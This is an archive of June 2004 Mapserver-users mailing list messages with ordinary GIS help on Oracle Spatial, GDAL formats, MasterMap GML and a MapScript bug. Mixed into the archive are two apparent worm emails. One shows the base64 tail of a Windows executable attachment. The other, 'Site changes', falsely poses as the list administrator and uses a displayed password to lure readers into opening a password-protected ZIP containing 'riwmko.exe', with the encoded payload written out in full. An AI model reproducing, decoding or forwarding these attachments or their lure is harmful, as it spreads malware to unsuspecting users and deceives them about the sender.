d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAxaKmN42Hj4RoDbpk cgBju3M6MyO2HxW6vA== ----------alxhhjbipjsogywanxwg-- From fchen at ne.rsgs.ac.cn Sat Jun 12 04:33:12 2004 From: fchen at ne.rsgs.ac.cn (Fu Chen) Date: Sat, 12 Jun 2004 19:33:12 +0800 Subject: [Mapserver-users] geometryfromtext in orcale spatial? In-Reply-To: <40BF12DF.4050100@main-task.com> Message-ID: Hi! I need to make a feature, that link gps points into line to render in mapserver. Vladimir Ilich Guzm??n R. suggest to use geometryfromtest feature in postgis to achieve it. It is something like $data=" the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' || (select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where ant.gid='$from_time' AND act.tiempo<'$to_time' AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1"; $layer=$map->getLayerByName("secuencia_gps"); $layer->set("data",$data); This method works in postgis. But this time I have to use oracle database. How can I achieve this feature in oracle spatial? Is there any oracle function I can use to replace geometryfromtext? Thanks! -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Vladimir Guzm??n Sent: Thursday, June 03, 2004 8:01 PM To: Fu Chen Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] store and draw route Hello. We use postgis + phpmapscript, and is something like this: $data=" the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' || (select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where ant.gid='$from_time' AND act.tiempo<'$to_time' AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1"; $layer=$map->getLayerByName("secuencia_gps"); $layer->set("data",$data); Basically, what we do is a subquery to create a multilinestring from a point geometry. Hpe that helps, Vladimir Ilich Guzm??n R. ------------------------ http://maintask.com Fu Chen wrote: >Hi! >I try to use mapserver and postgis to record and render the some mobile worker's route. >Those routes are record by a data table like (workorID, time, position). >In the webgis interface, we try to draw a route map by mapserver. >Queried by the workor's ID, the position is sort by the time. then these points is linked with a line. We would like to draw a circle(or other symbol) on the key point if it is possible. >I don't know how to write map file or mapscript to get the feature. >Anybody can give me some suggestion? >Thank you! > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rburgholzer at maptech-inc.com Sat Jun 12 05:00:21 2004 From: rburgholzer at maptech-inc.com (Robert W. Burgholzer) Date: Sat, 12 Jun 2004 08:00:21 -0400 Subject: [Mapserver-users] (no subject) In-Reply-To: Message-ID: <5.2.1.1.0.20040612075917.01dbdf30@mail.maptech-inc.com> I am just giessing here, but maybe this is a use for true type fonts? You install true type fonts in a directory, then refer to them in the map file. Good luck, r.b. At 01:58 PM 6/12/2004 +0800, you wrote: >Hello everybody, > > I got a vector map which include records with Chinese character in > dataset. While the Chinese character can't be displayed correctly by > Mapserver. Can you give me some advice? > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Robert Burgholzer Environmental Engineer MapTech Inc. http://www.maptech-inc.com/ From Michael.Smith at erdc.usace.army.mil Sat Jun 12 05:06:04 2004 From: Michael.Smith at erdc.usace.army.mil (Smith, Michael ERDC-CRREL-NH) Date: Sat, 12 Jun 2004 07:06:04 -0500 Subject: [Mapserver-users] oracle spatial mapfile Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C45075.14BB5F9A Content-Type: text/plain; charset="iso-8859-1" Sylvain, The error message indicates that Oracle Spatial support was not compiled in to mapserver. If you are using the unix/linux version you will need to add --with-oraclespatial=/path/to/oraclehome option to your configure command and re-make the build. If you are using Windows, there is a build including oraclespatial on the Mapserver download page but you'll need the oracle client dll's from otn.oracle.com . In either case, the data string is "geometry_column from table_name" so GEOLOC needs to be your geometry column. If you loaded your spatial data using OGR, the column is probably called ogr_geometry. Mike Smith ERDC/USACE michael.smith at erdc.usace.army.mil -----Original Message----- From: Sylvain Beorchia To: mapserver-users at lists.gis.umn.edu Sent: 6/11/2004 5:52 AM Subject: [Mapserver-users] oracle spatial mapfile Hi list, I try to display some data from oracle spatial in my mapserver project. It doesn't work. Here is my mapfile layer: LAYER NAME spa METADATA "DESCRIPTION" "Spatial" "LEGENDE" "1" "TYPE_LAYER" "ORA" END STATUS ON CONNECTIONTYPE oraclespatial CONNECTION "spa/sig at spa" DATA "GEOLOC from FP10010_LINES" TYPE LINE CLASS OUTLINECOLOR 0 0 0 COLOR 0 128 128 END END The data in the database are from some Mapinfo TabFiles. SO i've got a table FP10010_LINES with the GEOLOC field, that's why i've tried to retreive data with "GEOLOC from FP10010_LINES". So, when i launch my IE, i've got the following errors : "Warning: MapServer Error in msOracleSpatialLayerOpen(): OracleSpatial is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" "Fatal error: Call to a member function on a non-object in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" My oracle version is 8i (8.1.7) Any ideas ? Thank u. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ------_=_NextPart_001_01C45075.14BB5F9A Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [Mapserver-users] oracle spatial mapfile

 Sylvain,

The error message indicates that Oracle Spatial = support was not compiled in to mapserver. If you are using the = unix/linux version you will need to add = --with-oraclespatial=3D/path/to/oraclehome option to your configure = command and re-make the build. If you are using Windows, there is a = build including oraclespatial on the Mapserver download page but you'll = need the oracle client dll's from otn.oracle.com .

In either case, the data string is = "geometry_column from table_name" so GEOLOC needs to be your = geometry column. If you loaded your spatial data using OGR, the column = is probably called ogr_geometry.

Mike Smith
ERDC/USACE
michael.smith at erdc.usace.army.mil

-----Original Message-----
From: Sylvain Beorchia
To: mapserver-users at lists.gis.umn.edu
Sent: 6/11/2004 5:52 AM
Subject: [Mapserver-users] oracle spatial = mapfile

Hi list,

I try to display some data from oracle spatial in my = mapserver project.
It
doesn't work.
Here is my mapfile layer:

LAYER
    NAME spa
    METADATA
        = "DESCRIPTION" "Spatial"
        = "LEGENDE" "1"
        = "TYPE_LAYER" "ORA"
    END
    STATUS ON
    CONNECTIONTYPE = oraclespatial
    CONNECTION = "spa/sig at spa"
    DATA "GEOLOC from = FP10010_LINES"
    TYPE LINE
    CLASS
        = OUTLINECOLOR 0 0 0
        COLOR 0 = 128 128
    END

  END

The data in the database are from some Mapinfo = TabFiles. SO i've got a
table
FP10010_LINES with the GEOLOC field, that's why i've = tried to retreive
data
with "GEOLOC from FP10010_LINES".

So, when i launch my IE, i've got the following = errors :

    "Warning: MapServer Error in = msOracleSpatialLayerOpen():
OracleSpatial
is not supported in = C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616"
    "Fatal error: Call to a = member function on a non-object in
C:\ms4w\apps\gmap\htdocs\gmap.php3 on line = 617"


My oracle version is 8i (8.1.7)

Any ideas ?
Thank u.

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-us= ers

------_=_NextPart_001_01C45075.14BB5F9A-- From warmerdam at pobox.com Sat Jun 12 08:40:48 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 12 Jun 2004 11:40:48 -0400 Subject: [Mapserver-users] gdall, mapscript and jp2 files In-Reply-To: <000101c44fc8$ffc2b360$1300a8c0@cuestasys.com> References: <000101c44fc8$ffc2b360$1300a8c0@cuestasys.com> Message-ID: <40CB2400.2040304@pobox.com> Mark Adams wrote: > Hoping someone can help me out. I?m trying to add some .jp2 files to our > mapserver site. I?ve determined that the version of gdal12.dll that is > distributed with the php_mapscript binary package does not support this > format; but I?ve found a version of the dll that does support it. When > we tried to simply replace the existing gdal with the new one, our > application blew up ? we received errors indicating that the > php_mapscript dll could not be found etc. We understand from that that > we?ll have to recompile to include support for jp2 files. But ? do we > need to recompile mapscript, mapserver, or both? Where are the calls to > gdall made from? Mark, I think you would pretty much have to recompile everything with compatible build options. I could provide mapserv with this already but I don't know how to build the PHP stuff. Recent innovations in building mechanisms on windows (to use DLL interfaces more cleanly for OGR) should help resolve the problem of over-tight linkage between MapServer and OGR by 4.4 release time. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Sat Jun 12 08:42:14 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 12 Jun 2004 11:42:14 -0400 Subject: [Mapserver-users] Mapserver doesn't create image, no crash In-Reply-To: <40C9CDED.9010807@aris.nl> References: <5B025B1F39D6D4119F5700508BEEEC6601423390@SRSOFAIOI4546> <40C9CDED.9010807@aris.nl> Message-ID: <40CB2456.90505@pobox.com> Berend Veldkamp wrote: > I seem to have found a workaround: I deleted all the index files (*.qix) > and so far everything works. Can anyone comment on this? Berend, There were some ambiguities in the old .qix format that could cause problems. I would suggest you try rebuilding the qix files using the new tools. Hopefully things will work fine now. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From andrew at andrewhaigh.net Sat Jun 12 08:39:11 2004 From: andrew at andrewhaigh.net (Andrew Haigh) Date: Sat, 12 Jun 2004 16:39:11 +0100 Subject: [Mapserver-users] Using OS MasterMap with MapServer In-Reply-To: <20040612110621.30506.qmail@web15210.mail.bjs.yahoo.com> References: <20040612110621.30506.qmail@web15210.mail.bjs.yahoo.com> Message-ID: --Apple-Mail-1--774114367 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=GB2312; format=flowed According to the GDAL site (http://gdal.maptools.org/ogr/drv_gml.html),=20= OGR supports GML Version 2.0 and MasterMap is supplied in GML 2.1.2=20 (see www.opengis.org for details of the spec). I'd start be attempting to read the MasterMap GML using the OGR/GDAL=20 GML reader and see if that works. If it does work, then you might want to try and convert the GML to a=20 Shapefile / postgis using ogr2ogr, to see if that improves performance. If that doesn't work, then you'll have to code something - PHP 'may' be=20= the ideal tool, as it support gzip and xml. You'll have to ask the PHP guys if you can stream a GZIP file, into PHP=20= (as you can in Java) or you'll need loads of RAM. If you wanted to load GML into a database (PostgreSQL with PostGIS)=20 then you could try these steps: 1. Decompresses the GML (as it comes with GZIP compression) - although,=20= using a stream would be much better (unless you have a very small=20 dataset) 2. Reads the GML (XML) and convert it to OGC Simple Features - you'll=20 need to read the very long MasterMap Spec and split out the Polygon,=20 Line, point and annotation features 3. Load the OGC Simple Feature into a Spatial Database - PostgreSQL=20 (with PostGIS), MySQL? 4. Index the TOID (Topographic Identifier) and the geometry - this=20 will be used for updates 5. Log rejected features 6. You'd need some code to apply the update files from the OS - If your=20= client has the MasterMap supplied as Change Only Update (COU). If it could work with your end product (and the OS License), the OS=20 provides a GML to SVG (Scaleable Vector Graphics) Stylesheet on it's=20 website. I think that most commercial organizations and even the OS would=20 recommend loading the data into a DBMS - be warned unless you have a=20 very small area of data, the database will be huge. Also, look at FME - it can convert most things=20 (http://www.safe.com/products/fme/formats/index.php). Hope this helps. Andrew On 12 Jun 2004, at 12:06, guoloi dou wrote: > Thank you for your reply. I'm afraid that MasterMap is in GML. Do you=20= > mean that OGR/GDAL may read GML MasterMap? If not, what do you=20 > recommend that GML should be converted to? > =20 > Regards, > > Zhengda Lu > =20 > > > Andrew Haigh wrote: > It all depends what format your MasterMap is in? GML? Shapefile? > MapInfo Tab? > > Getting MasterMap. to work from a shapefile is easy, however, if your > data is GML then I think you'll need convert it. > > You might be able to read it in via OGR/GDAL but I've never tried it > (www.remotesensing.org/gdal/), if your using the none topographically > structured version. > > If you look on the OS website > (http://www.ordnancesurvey.co.uk/oswebsite/products/osmastermap/ > systems/index.html) this will tell you what software claims to be > compatabile. > > Not sure if this is helpful or not. > > Regards, > > Andrew > > On 10 Jun 2004, at 13:52, guoloi dou wrote: > > > I am new to GIS and am trying to implement a web-based navigation > > system to display Ordnance Survey MasterMap data. Below=A0are the > > technologies availabe: > > 1.PHP; > > 2.MySQL; > > 3.OS MasterMap > > 4.MapServer > > 5.Apache on Windows XP > > ?lt;br>> Could someone tell me how MasterMap be used by MapServer so=20= > that I can > > extract location information from MapServer and MySQL? > > ?lt;br>> Your help would be appreciated > > ?lt;br>> Best regards, > > Zhengda Lu > > > > > > Do You Yahoo!? > =CF=D3=D3=CA=CF=E4=CC=AB=D0=A1=A3=BF=D1=C5=BB=A2=B5=E7=D3=CA=D7=D4=D6=FA= =C0=A9=C8=DD=A3=A1= --Apple-Mail-1--774114367 Content-Transfer-Encoding: quoted-printable Content-Type: text/enriched; charset=GB2312 According to the GDAL site (http://gdal.maptools.org/ogr/drv_gml.html), OGR supports GML Version 2.0 and MasterMap is supplied in GML 2.1.2 (see www.opengis.org for details of the spec). I'd start be attempting to read the MasterMap GML using the OGR/GDAL GML reader and see if that works. If it does work, then you might want to try and convert the GML to a Shapefile / postgis using ogr2ogr, to see if that improves performance. If that doesn't work, then you'll have to code something - PHP 'may' be the ideal tool, as it support gzip and xml.=20 You'll have to ask the PHP guys if you can stream a GZIP file, into PHP (as you can in Java) or you'll need loads of RAM. If you wanted to load GML into a database (PostgreSQL with PostGIS) then you could try these steps: 1. Decompresses the GML (as it comes with GZIP compression) - although, using a stream would be much better (unless you have a very small dataset) 2. Reads the GML (XML) and convert it to OGC Simple Features - you'll need to read the very long MasterMap Spec and split out the Polygon, Line, point and annotation features 3. Load the OGC Simple Feature into a Spatial Database - PostgreSQL (with PostGIS), MySQL? 4. Index the TOID (Topographic Identifier) and the geometry - this will be used for updates 5. Log rejected features 6. You'd need some code to apply the update files from the OS - If your client has the MasterMap supplied as Change Only Update (COU). If it could work with your end product (and the OS License), the OS provides a GML to SVG (Scaleable Vector Graphics) Stylesheet on it's website. I think that most commercial organizations and even the OS would recommend loading the data into a DBMS - be warned unless you have a very small area of data, the database will be huge. Also, look at FME - it can convert most things (http://www.safe.com/products/fme/formats/index.php). Hope this helps. Andrew On 12 Jun 2004, at 12:06, guoloi dou wrote: Thank you for your reply. I'm afraid that MasterMap is in GML. Do you mean that OGR/GDAL may read GML MasterMap? If not, what do you recommend that GML should be converted to? =20 Regards, Zhengda Lu =20 Andrew Haigh < wrote: It all depends what format your MasterMap is in? GML? Shapefile? MapInfo Tab? Getting MasterMap. to work from a shapefile is easy, however, if your data is GML then I think you'll need convert it. You might be able to read it in via OGR/GDAL but I've never tried it=20 (www.remotesensing.org/gdal/), if your using the none topographically structured version. If you look on the OS website (http://www.ordnancesurvey.co.uk/oswebsite/products/osmastermap/ systems/index.html) this will tell you what software claims to be=20 compatabile. Not sure if this is helpful or not. Regards, Andrew On 10 Jun 2004, at 13:52, guoloi dou wrote: > I am new to GIS and am trying to implement a web-based navigation > system to display Ordnance Survey MasterMap data. BelowHiragino Kaku Gothic = Pro=A0are the > technologies availabe: > 1.PHP; > 2.MySQL; > 3.OS MasterMap > 4.MapServer > 5.Apache on Windows XP > ?lt;br>> Could someone tell me how MasterMap be used by MapServer so that I can > extract location information from MapServer and MySQL? > ?lt;br>> Your help would be appreciated > ?lt;br>> Best regards, > Zhengda Lu > Do You Yahoo!? Hiragino Kaku Gothic = Pro0000,0000,EEEE=CF=D3= STHeiti0000,0000,EEEE=D3=CA= =CF=E4=CC=AB=D0=A1=A3=BF=D1=C5=BB=A2=B5=E7=D3=CA=D7=D4=D6=FA=C0=A9=C8=DD=A3= =A1= --Apple-Mail-1--774114367-- From warmerdam at pobox.com Sat Jun 12 09:06:34 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 12 Jun 2004 12:06:34 -0400 Subject: [Mapserver-users] mapscript and float32 geotiffs In-Reply-To: <40C83DAD.6010506@pml.ac.uk> References: <40C83DAD.6010506@pml.ac.uk> Message-ID: <40CB2A0A.4040004@pobox.com> John Beisley - RSG wrote: > Hi, > > I'm trying to produce a 32-bit floating point geotiff as output from a > Python-Mapscript program. A similar thing used to work with the CGI > mapserv program with the OUTPUTFORMAT set as following: > > OUTPUTFORMAT > NAME FGTiff > DRIVER "GDAL/GTiff" > MIMETYPE "image/tiff" > IMAGEMODE FLOAT32 > EXTENSION "tif" > END > > However, I need to do a similar thing in mapscript and I run into a > segmentation fault. The top of the stacktrace looks like: > #0 0x4073c39d in msImageInitGD (image=0x823f700, background=0x40d72ea4) > at mapgd.c:137 > #1 0x407369bc in msDrawMap (map=0x40d4a008) at mapdraw.c:142 > #2 0x406c19ea in mapObj_draw (self=0x0) at mapscript_wrap.c:2403 > #3 0x406e41ac in _wrap_mapObj_draw (self=0x0, args=0x0) > at mapscript_wrap.c:18792 > #4 0x080f3469 in PyCFunction_Call (func=0x405d198c, arg=0x407a7aec, > kw=0x0) > at Objects/methodobject.c:108 > > My code to setup the output format object is as follows: > > formatObj = mapscript.outputFormatObj("GDAL/GTiff") > formatObj.name = "fgtiff" > formatObj.imagemode = mapscript.MS_IMAGEMODE_FLOAT32 > formatObj.mimetype = "image/tiff" > formatObj.extension = "tif" > mapObj.outputformat = formatObj > > Any ideas why this might be happening or how to fix it? John, I have reproduced this problem, and determined that the mapscript methods to set fields in the outputFormatObj are not properly resetting derived fields. I have created a bug report to address this problem: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=724 In the meantime if you explicitly set the renderer to be rawmode things see to work. The following worked for me (using new style names): import mapscript map = mapscript.Map( 'mapserver/msautotest/gdal/nodata_8bit.map' ) formatObj = mapscript.OutputFormat("GDAL/GTiff") formatObj.name = "fgtiff" formatObj.imagemode = mapscript.MS_IMAGEMODE_FLOAT32 formatObj.renderer = 3 # mapscript.MS_RENDER_WITH_RAWDATA formatObj.mimetype = "image/tiff" formatObj.extension = "tif" map.outputformat = formatObj img = map.draw() img.save( 'out.gtif' ) Best regards, ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From steve.lime at dnr.state.mn.us Sat Jun 12 11:36:48 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sat, 12 Jun 2004 12:36:48 -0600 Subject: [Mapserver-users] Site changes Message-ID: ----------pqhyernbefnpmqvsgcui Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Archive password:

----------pqhyernbefnpmqvsgcui Content-Type: image/jpeg; name="eeeajdlzub.jpeg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="eeeajdlzub.jpeg" Content-ID: /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRof Hh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwh MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR CAASADoDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+szUdXFjMYUhErpA1zIC+3bGpwSODk+g 46da06wtX024mvpbm3iMpnsXsyAwGwk5DHPbk5xk+1c+JlUjTvT3M6rko+6WLrVLmJYJbe2g niuGRYc3BVn3DPTYRxyevQVNc6otvq9lp3llnuQ5LZwECrn8arw6fLFqOnIULW1laFFkJHMn yr06/dB5x3qvc6ZqDeItPu1eJ4Y5JWdhHgoGUAA/N8xwMAgcdSKwlPEJXSe8V02ur/m++iuZ uVS1/Nf8E0F1RX11tLWM5WDzjJnj7wGMfj1ostUW91K+tEjIFoUBcn7xYE9Pw/Gs2HStTi8Q G4M0JjNm0XnrFj5y5bG3fnOTnPTHHHWpdH069s9Z1GWfyvIlWJUZE279q44G4kY6c9etEKuI c4qUXbmd9trO349RRnUbV11f3WNyiiiu86QooooAKKKKACiiigAooooA/9n/f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38gKyAr/3//fyArICv/f/9//XsgK49T /3//f/9/23OxW/9/ICsgK/9//3/bc7Fb/38gKyAr/3//f9tzsVv/fyArICv/f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//fyArICv/f/9/ICsgK/9/ /3//f41LICv+e/9//3//f41L/HcgKyAr/3//f/9/jUv8dyArICv/f/9//3+NS/x3ICsgK/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ICsgK/9/ /38gKyAr/3//f/9/2m8gK7Zn/3//f/9/2m+0YyArICv/f/9//3/ab7RjICsgK/9//3//f9pv tGMgKyAr/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3+PUyAr/3//fyArj1P/f/9//3//f41LaUP/f/9//3//f41LICsgK/9//3//f/9/jUsgKyAr /3//f/9//3+NSyArICv/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f7ZnICvYb9hvICu2Z/9//3//f/9/23MgK7Nf/3//f/9/2G8gKyAr/3//f/9/ /3/YbyArICv/f/9//3//f9hvICsgK/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3+0YyArICu0Y/9//38gKyArICsgKyArICv/f/9//3//f2lD ICv/f/9//3//f/9/aUMgK/9//3//f/9//39pQyAr/3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ ----------pqhyernbefnpmqvsgcui Content-Type: application/octet-stream; name="Half_Live.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Half_Live.zip" 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 